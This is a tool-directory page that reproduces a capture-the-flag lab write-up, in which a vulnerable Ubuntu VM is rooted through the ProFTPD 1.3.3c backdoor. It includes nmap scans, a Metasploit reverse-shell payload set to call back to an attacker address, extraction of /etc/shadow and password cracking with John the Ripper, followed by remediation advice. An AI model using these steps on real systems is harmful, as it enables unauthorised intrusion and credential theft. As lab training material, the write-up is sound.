Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Offensive-lab-2 — Penetration test walkthrough on a vulnerable Ubuntu VM. Exploited the ProFTPD 1.3.3c backdoor (CVE-2010-4221) to gain root access and capture the flag. Includes Nmap enumeration, Metasploit payload setup, and user hash cracking (John the Ripper). | Kitploit
Tools/GitHubGitHub/mafiosohack/offensive-lab-2
Password CrackingReconnaissanceExploit FrameworksPort ScanningVulnerability AnalysisExploitationPost-ExploitationCTFPenetration Testing
Share
Learning & Education
Labs & Practice
GitHubmafiosohack/offensive-lab-2

Offensive-lab-2

Penetration test walkthrough on a vulnerable Ubuntu VM. Exploited the ProFTPD 1.3.3c backdoor (CVE-2010-4221) to gain root access and capture the flag. Includes Nmap enumeration, Metasploit payload setup, and user hash cracking (John the Ripper).

View Repository
5011 months agoNot yet reviewed

Offensive security Lab : ProFTPD 1.3.3c Backdoor Exploit (Root Flag)

  1. Introduction and Objectives

This report details the penetration test performed on a vulnerable Linux virtual machine (VM), focusing on identifying a high-risk service vulnerability that allowed for immediate root access.

DetailValue
Target IP Address[ 192.168.222.130]
Attacker IP Address (LHOST)[ 192.168.222.128]
Target OSUbuntu 4ubuntu2.2 (Linux Kernel 3.x)
ObjectiveGain a Root-level shell and retrieve the flag file.
  1. Initial Enumeration and Vulnerability Identification

The initial reconnaissance involved a service scan using Nmap to identify open ports and service versions.

Command:

sudo nmap -sS -sV 192.168.222.130
Key Findings:
 | Port | Service | Version | Risk | | :--- | :--- | :--- | :---
 | 21/tcp | ftp | ProFTPD 1.3.3c | CRITICAL (Exploitable Backdoor) |
 | 22/tcp | ssh | OpenSSH 7.2p2 | Low (Standard service) |
 | 80/tcp | http | Apache httpd 2.4.18 | Low (No obvious web vulnerability found) |

A subsequent vulnerability script scan confirmed the existence of a highly critical backdoor within the FTP service.
The Nmap script output explicitly showed command execution as the root user:

| ftp-proftpd-backdoor: 
|   This installation has been backdoored.
|   Command: id
|_  Results: uid=0(root) gid=0(root) groups=0(root)...

3. Exploitation and Root Shell Acquisition
The Metasploit Framework was used to leverage the confirmed ProFTPD backdoor.

Exploit Steps:
Launch Metasploit: msfconsole

Select Exploit Module: use exploit/unix/ftp/proftpd_133c_backdoor

Set Options:

Bash

set RHOSTS 192.168.222.130
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.222.128

Result: A command shell session was successfully established, granting immediate root privileges (uid=0).

4. Post-Exploitation and Flag Retrieval
Credential Harvesting
The system's user hashes were extracted from /etc/shadow for post-exploitation analysis. The hash for the user marlinspike was successfully cracked using John the Ripper.

Command Used (on Attacker Machine):

Bash

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Cracked Credential:

User: marlinspike

Password: marlinspike

5. Remediation Recommendations
The system's security posture is extremely weak due to the compromised FTP service. Immediate steps must be taken to secure the system:

Immediate Patch/Upgrade: The ProFTPD service must be immediately patched or upgraded to a secure version (greater than 1.3.3g) to fix the known backdoor and related CVEs.

Service Removal: If FTP is not required for the system's function, the service should be completely removed.

Firewalling: Implement strict firewall rules (iptables/ufw) to block external access to Port 21.

Secure Shell Configurations: Review SSH configurations to disable root login and enforce key-based authentication.
Execute: exploit
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    790
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    508
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    435
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    346
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    263
  • 6

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    260

Explore all tools

Browse our collection of tools

View all tools →